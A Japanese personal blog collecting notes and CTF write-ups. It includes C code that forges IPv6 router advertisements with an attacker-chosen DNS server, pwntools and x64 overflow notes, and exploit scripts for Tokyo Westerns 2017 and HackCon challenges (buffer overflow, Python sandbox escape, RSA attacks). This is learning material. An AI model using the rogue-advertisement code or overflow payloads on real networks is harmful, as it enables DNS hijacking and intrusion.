hiziriAI’s blog

自分用雑記

libnet

libnet

RDNSS付きのルータ広告を投げる必要があったのでlibnetについて調べてみたが情報がなかったため残しておく。

やり方

初期化

libnetにはIPv6に対応したパケットを作成する機能があるため、普通のパケットならば問題なく作成できる。 今回は近隣探索のパケットを投げるため、ICMPv6のパケットの作成もしている。 libnetを使うときは、最初にinit関数を呼ぶ必要がある。 この返り値に作成するパケットの情報が保持されているようなので最後まで引き回すことになる。

// interfaceはパケットを投げる先のインターフェースを指定する。 exp. "enp4s0"
libnet_t* l = libnet_init(LIBNET_RAW6, interface, errbuf);

パケット作成

buildと付いた関数がたくさんあるので、その中からそれっぽいのを探してそれを使う。 ICMPv6などのパケットならば、連続してbuild関数を呼び出すとそれっぽく処理してくれる。 今回はICMPv6, IPv6のパケットのbuild関数を呼び出している。 checksumなどの値も自動で計算されるので楽。もちろん間違った値をわざと入れることもできる。

今回使おうとしたRDNSSはうまくオプションを設定できなかったため、直接値を入れるようにしている。 多分もっと普通の方法があると思うけど、なぜか近隣探索のオプション設定がうまくできなかったので力技でやっている。

送信

最後のlibnet_writeで送信している。 送信先アドレスや送信元アドレスによって失敗することもある。 あまり適当すぎるアドレスだと不正になってしまうようだ。

code

#include <stdio.h>
#include <libnet.h>

#define ND_RA_MANAGED_CONFIG_FLAG 0x0800000
#define ND_RA_OTHER_CONFIG_FLAG   0x0400000
#define ND_RA_HOP_LIMIT           0x1000000
#define ND_OPT_RDNSS              0x19
#define LIFETIME_INF              0xffffffff

typedef struct libnet_in6_addr libnet_in6_addr;

void build_icmpv6_rdnss_opt(libnet_t* l,
                libnet_in6_addr *header,
                uint8_t *payload,
                uint32_t lifetime,
                const char* dns_addr);

int main(int argc, char** argv){
  if (argc != 5) {
    fprintf(stderr, "%s <interface> <src addr> <dist addr> <dns addr>\n", argv[0]);
    exit(1);
  }

  // set argv
  char *interface = argv[1];
  char *dist_addr = argv[2];
  char *src_addr = argv[3];
  char *dns_addr = argv[4];
  
  libnet_t *l;
  libnet_in6_addr sip, dip, trg;
  char errbuf[LIBNET_ERRBUF_SIZE];

  /***************************************************************
    initialize libnet, this must be called before other functionsn
   ***************************************************************/
  l = libnet_init(LIBNET_RAW6, interface, errbuf);
  if(l == NULL) {
    printf("libnet_init: %s\n", errbuf);
    exit(1);
  }

  // get ipv6-addr struct
  sip = libnet_name2addr6(l, src_addr, LIBNET_DONT_RESOLVE);
  dip = libnet_name2addr6(l, dist_addr, LIBNET_DONT_RESOLVE);

  /********************************* 
   *   build router advertisement  *
   *********************************/  
  uint32_t lt = LIFETIME_INF;
  uint8_t payload[16];
  build_icmpv6_rdnss_opt(l, &trg, payload, lt, dns_addr);
  
  libnet_build_icmpv6_ndp_nadv(
                   ND_ROUTER_ADVERT,                               // uint8_t type
                   0,                                              // uint8_t code
                   0,                                              // uint16_t check_sum
                   64 * ND_RA_HOP_LIMIT + ND_RA_OTHER_CONFIG_FLAG, // uint32_t flags
                   trg,                                            // libnet_in6_addr target
                   payload,                                        // uint8_t* payload
                   16,                                             // uint32_t payload size
                   l,                                              // libnet_t* context
                   0                                               // libnet_ptag_t ptag, 0 means create new one
                   );
  
  // build ipv6 packet
  libnet_build_ipv6(
            0,                                        // uint8_t traffic class
            0,                                        // uint32_t flow label
            LIBNET_IPV6_H + LIBNET_ICMPV6_NDP_NADV_H, //uint16_t len
            IPPROTO_ICMP6,                            //uint8_t nh -> next header
            64,                                       //uint8_t hl -> hop limit
            sip,                                      //libnet_in6_addr src
            dip,                                      //libnet_in6_addr dst
            NULL,                                     //uint8_t* payload
            0,                                        //uint32_t payload_s
            l,                                        //libnet_t* l
            0                                         //libnet_ptag_t ptag
            );
    
  if(libnet_write(l) == -1) {
    printf("libnet_write: %s\n", libnet_geterror(l));
    exit(1);
  }

  libnet_destroy(l);
 
  return 0;
}

/**
 * set config value to header and payload.
 * @param l libnet context
 * @param header header of RDNSS, set some value into this
 * @param payload dns address is set here
 * @param lifetime lifetime of dns server
 * @param dns_addr address of dns server, like "2001:db8::1"
 */
void build_icmpv6_rdnss_opt(libnet_t* l,
                libnet_in6_addr *header,
                uint8_t *payload,
                uint32_t lifetime,
                const char* dns_addr){
  // copy address, builder funciton accepts only uint8_t*
  for (int i = 0; i < 16; i++)
    payload[i] = libnet_name2addr6(l, dns_addr, LIBNET_DONT_RESOLVE).__u6_addr.__u6_addr8[i];
  
  header->__u6_addr.__u6_addr8[8] = 0x19; // type num RDNSS
  header->__u6_addr.__u6_addr8[9] = 0x2 + 0x1; // 0x2 + number_of_dns_addr
  header->__u6_addr.__u6_addr32[3] = lifetime;
  
  return;
}

MacBookリカバリー

MacBookが壊れて起動しなくなったのでリカバリーの手順をメモっておく。

症状

起動するとログインアカウントが表示されず、?マークのあるフォルダのアイコンが表示されていた。 正確に言うとデュアルブートできるようにしていたので、linuxの方しか起動しなかった。 パーティション削除したらフォルダアイコンでたので多分同じ原因だと思う。

修復方法

まず一旦電源を落とし、再起動する。 起動したタイミングでCmd+Rを押し、地球のマークがでてくるまで待機する。 するとリカバリメニューに入るためにネットワーク接続が必要になるので、無線LANの設定をするか有線を繋ぐかしてオンラインにする。 5分くらい待つ、多分回線速度次第で速くなったり遅くなったりすると思う。

するとリカバリメニュー一覧みたいなのが表示されるので、ディスクの修復メニューに入る。 自分の場合はパーティションの設定をミスってディスクがおかしくなっていたらしいので、ディスクをまるごとフォーマットした。 ここからバックアップも取れるっぽいので、必要なら取っておく。 タイムマシンにデータがあったので今回はフォーマットだけにした。

フォーマットなり修復なりが終了したら、ディスクメニューを終了し、タイムマシンからの復元かOSの再インストールを選択する。 起動しない場合は多分入れなおさないと直らないんじゃないかと思う。バックアップもあることだし再インストールした。

これで直る(かもしれない)。

pwntools 使い方

pwntools 使い方

忘れないようにメモする。 公式のDocsとか、関数のdescriptionが優秀なのでそっちを読んだ方が正確だと思う。 でも日本語じゃないと読むのに時間がかかってしまうので日本語でメモする。

基本

基本的な機能の使い方。 プログラムへの入出力。

from pwn import *

# プログラムを実行するprocessを作る
# cwdキーワードで現在のワーキングディレクトリが変更できる
p = process('test_program')
# p = remote('127.0.0.1', 12345) # 127.0.0.1の12345ポートに接続する、APIが同じなのでそっくりそのまま同じように動作する

ret = p.recv() # test_programの出力をEOFまでを受けとる
ret = p.recvline() # 改行までを受けとる、改行が送られないとここで止まるので注意
ret = p.recvline(timeout=0.01) # recv系はtimeoutを設定できる、単位は秒。ハングするのが嫌なら設定しておくといい
ret = p.recvuntil('some output') # 引数の文字列までを受けとる。

# ログとして出力する。context.log_levelに値を設定することで、debug, infoなど出力するログも操作できるので便利
log.info(ret) 

payload = ''
payload += p32(64) # 数値をリトルエンディアンで32ビット長の文字列として変換する。
# これなら'@\x00\x00\x00'になる。
# ほかにもp64なら64ビット長に変換する。
# 逆変換はu32()、符号無し整数としてデコードしてくれる。
payload += 'some shellcodes'

# test_programにshellcodeを送る。文字列ならなんでも。
p.send(shellcode) # 末尾になにもなし、多分EOFが付く
p.sendline(shellcode) # これなら末尾に改行が付く

# 実行すると入出力を直接表示、送信するようになる。
# 相手側でシェルを奪ったときに起動する
p.interactive()

基本的にはこれらを使う。他にも便利機能がたくさんあるけど、これだけでもpwnはできると思う。 人によっては他のコマンドの方を好むかもしれない。

実際の流れとしては、processでプログラムをローカルで起動させる。 場合によってはローカル環境でもremoteを使う。server型とか。
send系で情報をリークさせるかしてrecv系で情報を取得し、payloadを構築していく。 最後にシェルが取れるような場合にはinteractiveで直接シェルとやりとりする。

elf

人によってはIDAとかobjdumpとかradare2を使ってすませることもあるが、pwntoolsからでもelfの解析ができる。

from pwn import *

elf = ELF('program') # 解析、ログにセキュリティ機構などの解析結果も表示される。
# 多分pwntoolsに付いてくるchecksecと同じ出力

elf.plt['printf'] # plt領域にある関数のアドレスを辞書型で保持してる。
# ハードコーディングせずにすむのでこっちの方が好き。
# ただし間違ってることがあるっぽい?理解が足りなくて勘違いしてるだけかもしれない
# 心配ならobjdumpとかreadelfとかでも調べよう

elf.got['printf'] # 同じようにgot領域も調べられる

他にも色々な情報が参照できるので最初に解析用のスクリプト作っておくのもいいかもしれない。 dir()でメンバの名前見ればだいたい何の情報か想像も付くので忘れても安心。

context

contextはconfigみたいな感じに解析のための情報を渡すことができる。

from pwn import *

context.arch = 'amd64' # 解析するプログラムのアーキテクチャを設定できる、初期値は多分i386
context.log_level = 'debug' # ログのレベルを設定できる。普段は多分infoぐらいが表示される
# pwntoolsのバグっぽいのに遭遇したらdebugにして見てみよう

ちょっと変わったバイナリを解析するときは、一度こっちの設定を確認して、適切かどうか見るといい。

shellcode

shellstormでいいけど、pwntoolsにも簡単なものはあるので楽になるかもしれない。 自分で書くという選択肢はない。

from pwn import *

asm(shellcraft.sh()) # shellcraft.sh()はシェルを開くアセンブリコードを返す、asm()はそれをアセンブルする

asmを使えば自作shellcodeを使うこともできるので、shellcodeを書く練習にももってこい。 shellcraftのサブモジュールにはアーキテクチャやOSに対応したモジュールがあり、様々シェルコードが収録されているみたいなので一度探してみると役に立つかもしれない。

debug

自分の環境では動かなかったが、gdbデバッグもできるらしい。

from pwn import *

context.terminal = ['terminator', '-e']
p = process('program')
gdb.attach(p)
gdb.debug('program')

おわり

使ったことのある機能はこれぐらい。 他にも色々便利そうな、書式文字列攻撃用のモジュールだったりflag管理用のモジュールだったりがあるので、公式を見ておくとワクワクできる。 使い方は分かりません。使われてない機能だとバグっぽいのもしばしばあったりするけれど、そういうときは他のコマンドで補おう。

X64 pwn

x64でのpwn

基本はx86と同じだが、いくつかの点で違いがある。
https://blog.techorganic.com/2015/04/10/64-bit-linux-stack-smashing-tutorial-part-1/を参考にしている。

引数の渡し方

x86では関数呼び出しするときにスタックに値をpushして引数を渡していたため、スタックの値を書き変えれば引数を操作できた。 x64ではレジスタに引数の値を指定するため、引数の操作がやりにくくなっている。

レジスタ

64bit長になった。 つまり、pushやpopは8バイト単位で動作し、アドレス長は8バイトになっている。

アドレス

バッファオーバーフローでリターンアドレスを書き換えEIPを奪うのはpwnでは基本テクニックである。 x86では長い文字列を渡しバッファを溢れさせると、eipの値が0x41414141などになっているのがgdbなどで確認できる。 しかし、x64ではアドレス空間が64bitに拡張され、有効な命令アドレスの範囲は0x00007FFFFFFFFFFFまでに制限されている。 したがって、リターンアドレスを書き換え過ぎるとripが書き換えられないでプログラムがSIGSEGVされる。 ret命令時のスタックトップがリターンアドレスとして読み込まれるので、その値からオフセットを割り出し適切な長さに調節するとよい。

環境変数

環境変数はプログラム実行時にスタックに積まれているので、環境変数を設定しそこに飛ばす方法がある。

ROP

レジスタを介して引数を渡すため、ROPを使う場面が増える

Tokyo Westerns CTF3rd 2017 Writeup

Tokyo Westerns CTF3rd 2017 writeup

ほぼWarmupだけ(Webは解けてない)。 200ptで142位でした。

Just do it

Pwn

プログラムの動作はパスワードの入力を求め、あってるかどうかを判定するものである。 とりあえず、stringsで探したら見つかったパスワードを入力してみたが、単にCorrect!と表示されただけだった。 どう考えてもflagじゃない。

アセンブルしてコードを見ながらgdbで解析してみるとflag.txtを開いてその内容をグローバル変数にに入れていることが分かった。これを表示させる必要がある。

0x08048618      68d3870408     push str.flag.txt           ; 0x80487d3 ; "flag.txt"
0x0804861d      e87efeffff     call sym.imp.fopen          ; file*fopen(const char *filename,
0x08048622      83c410         add esp, 0x10
0x08048625      8945f0         mov dword [local_10h], eax
...
0x08048648      83ec04         sub esp, 4
0x0804864b      ff75f0         push dword [local_10h]
0x0804864e      6a30           push 0x30                   ; '0' ; '0'
0x08048650      6880a00408     push obj.flag               ; 0x804a080
0x08048655      e8e6fdffff     call sym.imp.fgets          ; char *fgets(char *s, int size, FILE *stream)

しばらく適当にパスワードを入力すると、fgetsで文字数制限しているのにプログラムが落ちることが分かった。 gdb-pedaで落ちたときの状況を調べてみると、最後の不正解のメッセージを表示するところで不正なアドレスが指定されているらしかった。 入力した文字と照し合わせると、20文字目からの値がアドレスに格納されることが分かった。 checksecするとPIEはなかったので多分アドレスは固定のはず(かな?)。 なので、20文字入力したあと、flagが格納された変数のアドレスを入力すればflagが表示されるはず。 コードはこれ。

from pwn import *
import time

host = 'pwn1.chal.ctf.westerns.tokyo'
port = '12345'
adrs = 0x804a080
i = 20
shellcode = 'A' * i + p32(adrs) + '\x00'

# p = process("./just_do_it")
p = remote(host, port)
log.info(p.recvuntil('\n'))
log.info(p.recvuntil('\n'))
log.info(i)
p.sendline(shellcode)
time.sleep(1)
print(p.recvuntil('\n'))

成功。 でもかなり時間をかけてしまった、pwnに慣れたい。

Rev Rev Rev

Rev

かなり分からなかった。 strippedなので関数名とか全然分からない。 とりあえず逆アセンブルしてみたところ、4つの関数で入力を加工したあと、プログラム内の値と比較して一致すればいいらしい。 最初の関数(0x080486b9)は読み込んだ改行文字をヌル文字に置き換えている。

2つ目の関数(0x080486db)は入力された文字列を逆順にしている。

3つ目の関数(0x08048738)はビット演算とシフトを繰り返して文字を変換している。 Cのコードにするとこんな感じの処理をしている。逆算する方法が分からなかった。

void fcn38(char* arg_8h){
  char* local_4h = arg_8h;
  char local_5h;

  while(*local_4h != '\0'){
    local_5h = *local_4h;
    local_5h = (((unsigned int) local_5h & 0x55) * 2) | ((local_5h >> 1) & 0x55);
    local_5h = (((unsigned int) local_5h & 0x33) << 2) | ((local_5h >> 2) & 0x33);
    local_5h = ((unsigned int) local_5h << 4) | (local_5h >> 4);
    local_4h[0] = local_5h;
    
    local_4h++;
  }
}

4つ目の関数(0x080487b2)文字毎にnotを取っているだけだった。

gdbで一致させるデータ列を確認した。16進数値でこんな感じ。

l = ["0x41",
     "0x29",
     "0xd9",
     "0x65",
     "0xa1",
     "0xf1",
     "0xe1",
     "0xc9",
     "0x19",
     "0x9",
     "0x93",
     "0x13",
     "0xa1",
     "0x9",
     "0xb9",
     "0x49",
     "0xb9",
     "0x89",
     "0xdd",
     "0x61",
     "0x31",
     "0x69",
     "0xa1",
     "0xf1",
     "0x71",
     "0x21",
     "0x9d",
     "0xd5",
     "0x3d",
     "0x15",
     "0xd5"]

静的に解く方法が思い付かなかったので力技でやる。 gdbを使ってひたすら入力を変換させて、どの文字がどの値になるのかひたすら調べた。 一度に複数文字入力してもいいのでそこまで手間じゃなかった。 解くのに十分なだけのデータが揃ったところで入力を生成させて、送信、そして成功。

変換テーブルを含んだコードはこんな感じ。

table = {}
table['-'] = hex(0x4b)
table['.'] = hex(0x8b)
table['/'] = hex(0x0b)
table['0'] = hex(0xf3)
table['1'] = hex(0x73)
table['2'] = hex(0xb3)
table['3'] = hex(0x33)
table['4'] = hex(0xd3)
table['5'] = hex(0x53)
table['6'] = hex(0x93)
table['7'] = hex(0x13)
table['8'] = hex(0xe3)
table['9'] = hex(0x63)
table[':'] = hex(0xa3)
table[';'] = hex(0x23)
table['<'] = hex(0xc3)
table['='] = hex(0x43)
table['>'] = hex(0x83)
table['?'] = hex(0x03)
table['@'] = hex(0xfd)
table['A'] = hex(0x7d)
table['B'] = hex(0xbd)
table['C'] = hex(0x3d)
table['D'] = hex(0xdd)
table['E'] = hex(0x5d)
table['F'] = hex(0x9d)
table['G'] = hex(0x1d)
table['H'] = hex(0xed)
table['I'] = hex(0x6d)
table['J'] = hex(0xad)
table['K'] = hex(0x2d)
table['L'] = hex(0xcd)
table['M'] = hex(0x4d)
table['N'] = hex(0x8d)
table['O'] = hex(0x0d)
table['P'] = hex(0xf5)
table['Q'] = hex(0x75)
table['R'] = hex(0xb5)
table['S'] = hex(0xd5)
table['T'] = hex(0x55)
table['U'] = hex(0x95)
table['V'] = hex(0x65)
table['W'] = hex(0x15)
table['X'] = hex(0xe6)
table['Y'] = hex(0x65)
table['Z'] = hex(0xa5)
table['['] = hex(0x25)
table['\\'] = hex(0xc5)
table[']'] = hex(0x45)
table['^'] = hex(0x85)
table['_'] = hex(0x05)
table['`'] = hex(0xf5)
table['a'] = hex(0x79)
table['b'] = hex(0xb9)
table['c'] = hex(0x39)
table['d'] = hex(0xd9)
table['e'] = hex(0x59)
table['f'] = hex(0x99)
table['g'] = hex(0x19)
table['h'] = hex(0xe9)
table['i'] = hex(0x69)
table['j'] = hex(0xa9)
table['k'] = hex(0x29)
table['l'] = hex(0xc9)
table['m'] = hex(0x49)
table['n'] = hex(0x89)
table['o'] = hex(0x09)
table['p'] = hex(0xf1)
table['q'] = hex(0x71)
table['r'] = hex(0xb1)
table['s'] = hex(0x31)
table['t'] = hex(0xd1)
table['u'] = hex(0x51)
table['v'] = hex(0x91)
table['w'] = hex(0x11)
table['x'] = hex(0xe1)
table['y'] = hex(0x61)
table['z'] = hex(0xa1)
table['{'] = hex(0x21)
table['|'] = hex(0xc1)
table['}'] = hex(0x41)
table['~'] = hex(0x81)

l = ["0x41",
     "0x29",
     "0xd9",
     "0x65",
     "0xa1",
     "0xf1",
     "0xe1",
     "0xc9",
     "0x19",
     "0x9",
     "0x93",
     "0x13",
     "0xa1",
     "0x9",
     "0xb9",
     "0x49",
     "0xb9",
     "0x89",
     "0xdd",
     "0x61",
     "0x31",
     "0x69",
     "0xa1",
     "0xf1",
     "0x71",
     "0x21",
     "0x9d",
     "0xd5",
     "0x3d",
     "0x15",
     "0xd5"]

rev_table = {}
for k, e in table.items():
    rev_table[e] = k

a = list(map(lambda x: rev_table[x], l))

ans = ""
for c in a:   
    ans += c

print(ans)

変換テーブルがでかい。

Palindromes Pairs - Coding Phase -

PPC

pythonでやった。 問題文の解釈で時間食ってしまった。 実装は単純に先頭と末尾から比較していくだけ。 これがベストな方法なのかな? コードはこんな感じ。

from pwn import *


def copy(lst):
    lst2 = []
    for i in lst:
        lst2.append(i)

    return lst2


def is_palindrome(s):
    head = 0
    tail = len(s) - 1
    while(head < tail):
        if(s[head] != s[tail]):
            return False
        head += 1
        tail -= 1

    # print(s)
    return True


def get_palindromes_set(lst):
    palin_set = set()
    for e in lst:
        if is_palindrome(e):
            palin_set.add(e)
    return palin_set


def get_palindromes_num(lst):
    count = 0
    length = len(lst)

    for i in range(0, length):
        elm = lst[i]
        rest = lst[i+1:length]

        if len(rest) != 0:
            head_list = [is_palindrome(elm + e) for e in rest]
            last_list = [is_palindrome(e + elm) for e in rest]
            count += head_list.count(True) + last_list.count(True)

        if is_palindrome(elm + elm):
            count += 1

    return count

host = 'ppc1.chal.ctf.westerns.tokyo'
port = '8765'
p = remote(host, port)

log.info(p.recvuntil('----- START -----\n'))
for _ in range(50):
    log.info(p.recvuntil('\n'))
    log.info("num:" + p.recvuntil('\n'))
    words = p.recvuntil('\n')
    log.info(words)

    words = words.strip().split(" ")
    ans = get_palindromes_num(words)
    log.info(str(ans))
    p.sendline(str(ans))
    log.info(p.recvuntil('\n'))
    p.recvuntil('\n')

p.interactive()

lisp使いたくなった、python2だとオブジェクトを変更するからやりにくく感じる。 そもそもコードがpythonっぽくない、修行足りてない。 まあ一応解けたので良しとしよう。

My Simple Cipher

Crypto

7zの解凍方法を忘れ無駄に悩む。 cipher.pyの暗号化方法自体は単純にキーと前回の値を使って値を加算しmodを取るだけの単純なもの。 逆算自体は無理なのかな?IPUSIRONさんの本で勉強しないと。

注目するべきなのは平文と暗号文で文字の位置は同じであること、"|“があること、keyが13文字で固定なことである。

この"|“が固定であるおかげで、この位置で使われた鍵の文字は特定することができる。 暗号化に用いられたmessage[i], key[i % 13], encrypted[i]のうちmessage[i]とencrypetd[i]が判明しているので、以下のようになるはずである、多分。

(encrypted[i+1] - encrypted[i] - message[i]) % 128 = key[i % 13]

この位置だと、最初が0として22文字目が該当する。 最初の一文字はランダム与えられた初期化ベクトルのような値なので無視すると、21文字目である。 13でmodを取ると8、従って鍵の8文字目が分かる。

次に鍵の8文字目で暗号化されている部分に着目する、この部分は復号化可能である。 ここで、暗号文の最後に鍵が含まれていることを利用する。 鍵の8文字目で暗号化されている部分を復号すると鍵の別の場所の文字が分かる。 これを繰り返して鍵全体を復号化し、それを用いてencryptedを復号化する。 あとは単純作業になる。

自動化できるけど13文字ならインタープリターでやった方が速いかと思って手元でメモを取りながらやった。 あとで自動化する。

全体の復号化をする関数だけコード書いた。

def decrypt(key, cipher):
    dec = ""
    tmp = []
    rev_c = list(cipher)
    rev_c.reverse()

    for i in range(len(rev_c) - 1):
        tmp.append(ord(rev_c[i]) - ord(rev_c[i+1]))

    tmp.reverse()

    for i in range(len(tmp)):
        dec += chr((tmp[i] - ord(key[i % 13])) % 128)

    return dec

pplc

PPC

唯一warmup以外で解けた問題。 3つフラグがあって、python特有のメタプログラミングネタの問題。

private

ひとつめの問題。

プライベートなメソッドについての問題。 pythonにはアクセス修飾子がないが、接頭語と接尾語にアンダースコア(であってたかな、_のこと)を使うことでコーディング規約として扱いを変えたりする。 接頭語として__があって、接尾語がないメソッドは名前が_ClassName__methodnameとなる。 つまり、p._Private__flag()を送信すればいいはずなのだが、assert文でPrivateが含まれる文字列は弾かれてしまう。

ここでpythonの関数オブジェクトに対して()を付けると呼び出せるという性質を利用する。 つまり、こんな感じのことができる。

def func():
    return 1
    
f = func # ここで関数オブジェクトがfに格納される
f() # 1が返される

そして、文字列をpythonコードとして実行し結果を返すeval関数と、クラスやオブジェクトなどメンバを文字列として取得するdir関数を組み合わせて、_Private__flagの関数オブジェクトを取得する。 これを()で呼び出せばフラグを表示できるはず。

手元の環境でdir(p)してみると、最初の要素に_Private__flagがあったので、とりあえず最初の要素であると仮定してやってみた。 最終的な文字列はこんな感じ。

eval("p."+dir(p)[0])()

成功した。

local

ふたつめの問題。

今度は関数内で定義されるローカル変数を参照できるかという問題。 get_flagなのにflag返さねえじゃねえかとは思った。

ここで、関数オブジェクトの構造を観察してみる。 実はさっきの問題を解くまでよく知らなかった。 dir関数を使ってメンバを見てみるとfunc_codeといういかにもコードがありそうなメンバがあった。 どうやらpythonのコードの情報を持っているようで、バイトコンパイルされたコードなどが含まれている。

どうやってpythonが作られているのかが読み取れる気がしてくる。

このcodeオブジェクトに対してもdirでメンバを読み取ると、co_constsという定数値がありそうな名前がある。 表示してみるとビンゴだった。

これで成功。 送信した文字列はこんな感じ。

get_flag.func_code.co_consts

comment

みっつめの問題

これは知っていた、パッケージを作ったときに丁度その話を見た。 パッケージの一番先頭にある文字列は__doc__に格納され、help関数で表示できるようになる。 関数などでも、定義の一番最初に置いた文字列がこのように取得できる。

helpだと対話的環境でしか表示されないので、__doc__を表示することにする。

成功、送信文字列はこんな感じ。

comment_flag.__doc__

おわり

pythonがなければwarmupだけで終わっていた。

Emacs用のRocket.chatクライアントなかったから書いた

rocket-chat.el

タイトル通り。
リンクはここ

そのうちUsage書く。

Hackconに参加した

HackCon writeup

72位、一人じゃキツイなぁ。 Web問全然分からなかった。

rev

Key-gen1

match_meという実行ファイルが渡されるので、リバーシング。 見てみると最後の方にstrncmpしてるところがあるので、gdbで実行しつつ入力によって引数がどのように変化するか観察した。 しばらくやってると、2文字の入力が1文字にマッピングされているようであると分かった。 その上、位置に関係なく同じ2文字は同じ1文字に変換されるようなので、必要な文字に変換される組合せを見つければいい。 しかも、f以上の文字は使えないことが分かった(実際は16進数として解釈されているらしいことに後で気付いた)。 対応する文字に変換される組合せを探して、サーバに入力するとフラグが返された。

Key-gen2

match_meに受理される10個のキーを探す問題。 16進数に解釈されることに気付いたので、6組の異なる変換テーブルを作り、適当に組合せた。 これで通った。

crypto

RSA-2

今度はn, e, cだけが渡される。 eの値が異常に大きく、wiener-attackが出来そう。 求めたdで正常に復号化できた。

(ql:quickload :hackrsa)
;; hackrsa is in my tool set, https://github.com/4hiziri/tktools

(setf d (hackrsa:wiener-attack n e))
(setf m (mod-expt c d n))
(hackrsa:decode m)

Bacche

Rotate it

crypto
“q4ex{ju0_tvir$_pn3fne_va_PGS???}p0qr"が渡されるので、ぱっと見でrot13だと分かる。 flag形式が"d4rk{xxx}c0de"なので、鍵は13で良さそう。 単純にnkfでrot13してフラグゲット。

# echo "q4ex{ju0_tvir$_pn3fne_va_PGS???}p0qr" | nkf -r

ALL CAPS

crypto

“OF EKBHMGUKZHJB, Z LWALMOMWMOGF EOHJTK OL Z DTMJGX GY TFEGXOFU AB NJOEJ WFOML GY HSZOFMTVM ZKT KTHSZETX NOMJ EOHJTKMTVM, ZEEGKXOFU MG Z YOVTX LBLMTD; MJT "WFOML” DZB AT LOFUST STMMTKL (MJT DGLM EGDDGF), HZOKL GY STMMTKL, MKOHSTML GY STMMTKL, DOVMWKTL GY MJT ZAGRT, ZFX LG YGKMJ. MJT KTETORTK XTEOHJTKL MJT MTVM AB HTKYGKDOFU MJT OFRTKLT LWALMOMWMOGF. MJZFQL YGK KTZXOFU MJZM, JTKT'L BGWK YSZU: X4KQ{MKB_YZEEJ3_OYMJOL_MGG_LODHTS}E0XT"

渡された文章、フラグ形式っぽいものもあり、一文字だけのZが複数回出てたり、記号はそのままだったりすることから単一換字式暗号かと思った。 とりあえず、フラグ形式のところは確定できるので確定させる。

“OF crBHMGUrZHJB, Z LWALMOMWMOGF cOHJer OL Z DeMJGd GY eFcGdOFU AB NJOcJ WFOML GY HSZOFMeVM Zre reHSZced NOMJ cOHJerMeVM, ZccGrdOFU MG Z YOVed LBLMeD; MJe "WFOML” DZB Ae LOFUSe SeMMerL (MJe DGLM cGDDGF), HZOrL GY SeMMerL, MrOHSeML GY SeMMerL, DOVMWreL GY MJe ZAGRe, ZFd LG YGrMJ. MJe receORer decOHJerL MJe MeVM AB HerYGrDOFU MJe OFRerLe LWALMOMWMOGF. MJZFkL YGr reZdOFU MJZM, Jere\‘L BGWr YSZU: d4rk{MrB_YZccJ3_OYMJOL_MGG_LODHeS}c0de"

そうするとZreだったりJereだったり英単語が類推できる箇所だったりが出てくるので、それを埋めていく作業を繰り返す。 文字の出現頻度でやってもいいが、あまり参考にならなかった。 pythonでdict使って変換テーブルを作って、逐一復号しながら解いた。 復号すると、暗号学における単一換字式暗号の説明みたいな文章とフラグがでてくる。

high bass

crypto

“VGhpcyB3YXMgaW4gYmFzZS02NDogZDRya3t0aGF0XyRpbXBsXzNuMHVnaDRfVX1jMGRl"が渡される。 よく分からなかったのでBase64したら解けた。 印字可能で空白がないなら取り敢えず試す。

flag.txt

web

URLが渡されるので行ってみると、リンクが一つだけあった。 踏んでみるとロボットが人間をどうたらみたいな外部のサイトに飛ばされた。 外部サイトにフラグはもちろん無いので戻る。 リンク先にロボットの話題が出てたので、robots.txtを開いてみる。 ハッシュ値みたいな名前のディレクトリがDisallowになっていた。 問題のタイトルがflag.txtだったので、そのディレクトリ直下のflag.txtにアクセスしたらflagがでてきた。

one

なんだろう、rev?

バイナリファイルを渡されたのでfileで形式を調査する。 elf形式の実行ファイルなので、とりあえず実行する(アブナイ)。 フラグが出力された。

cave

crypto

象形文字みたいなものの画像が渡される。 名前が思い出せなかったが、これはヒエログリフである。 ヒエログリフタイピング的なサイトが見つかり、おそらくそのサイトで生成したであろう問題であることが分かった。 とりあえず復号するとflag_isなんたらかんたらみたいになるので、flag_isのあとをフラグの形式にして提出すると通った。

needle

foren

zip形式のファイルを渡され、解凍するとクソ長いテキストファイルが出てくる。 フラグ形式でgrepしたら該当する部分があったので、提出して終了。

RAS-1

crypto
RSAに関する暗号問題。 p, q, c, eが渡されるので、普通に復号するだけでいい。 ed = 1 mod (p - 1)(q - 1)となるdを求めて、cd mod pqを計算すると平文mが得られる。 ed = 1 mod (p - 1)(q - 1)は拡張ユークリッドの互除法で求められる。 ed + k(p-1)(q-1) = 1となるk, dを求めればいい。この式のmodを取れば元の式になることが分かる。

(setf p 152571978722786084351886931023496370376798999987339944199021200531651275691099103449347349897964635706112525455731825020638894818859922778593149300143162720366876072994268633705232631614015865065113917174134807989294330527442191261958994565247945255072784239755770729665527959042883079517088277506164871850439)

(setf  q 147521976719041268733467288485176351894757998182920217874425681969830447338980333917821370916051260709883910633752027981630326988193070984505456700948150616796672915601007075205372397177359025857236701866904448906965019938049507857761886750656621746762474747080300831166523844026738913325930146507823506104359)

(setf c 8511718779884002348933302329129034304748857434273552143349006561412761982574325566387289878631104742338583716487885551483795770878333568637517519439482152832740954108568568151340772337201643636336669393323584931481091714361927928549187423697803637825181374486997812604036706926194198296656150267412049091252088273904913718189248082391969963422192111264078757219427099935562601838047817410081362261577538573299114227343694888309834727224639741066786960337752762092049561527128427933146887521537659100047835461395832978920369260824158334744269055059394177455075510916989043073375102773439498560915413630238758363023648)

(setf  e 65537)

(defun extend-gcd (a b)
  "return (x . y) | ax + by = 1"
  (flet ((next-val (x1 x2 q)
       (- x1 (* x2 q))))
    (loop for q = (/ (- a (mod a b)) b) then (/ (- z1 (mod z1 z2)) z2)
      for ztmp = (next-val a b q) then (next-val z1 z2 q)
      for z1 = a then z2
      for z2 = b then ztmp
      for xtmp = (next-val 1 0 q) then (next-val x1 x2 q)
      for x1 = 1 then x2
      for x2 = 0 then xtmp
      for ytmp = (next-val 0 1 q) then (next-val y1 y2 q)
      for y1 = 0 then y2
      for y2 = 1 then ytmp
      when (= z2 1)
        do (if (< x2 0)
           (return (cons (+ x2 b) (- y2 a)))
           (return (cons x2 y2))))))

(defun mod-expt (base exp modulus)
  "more effective expotential and modulus.
calculate mod at every step of exp."
  (if (< exp 0) ;; if exp < 0, cannot calc mod so simply return base^exp
      (expt base exp)
      (loop for acc = 1 then (if (evenp e) acc (mod (* acc b) modulus))
        for b = (mod base modulus) then (if (evenp e) (mod (expt b 2) modulus) b)
        for e = exp then (if (evenp e) (/ e 2) (1- e))
        when (= e 0)
          do (return acc))))

(defun decode (encoded-num)
  (labels ((inner-loop (num acc)
         (if (> num 0)
         (inner-loop (truncate num (expt 2 8)) (cons (mod num (expt 2 8)) acc))
         acc)))
    (inner-loop encoded-num nil)))

stego

standard stego

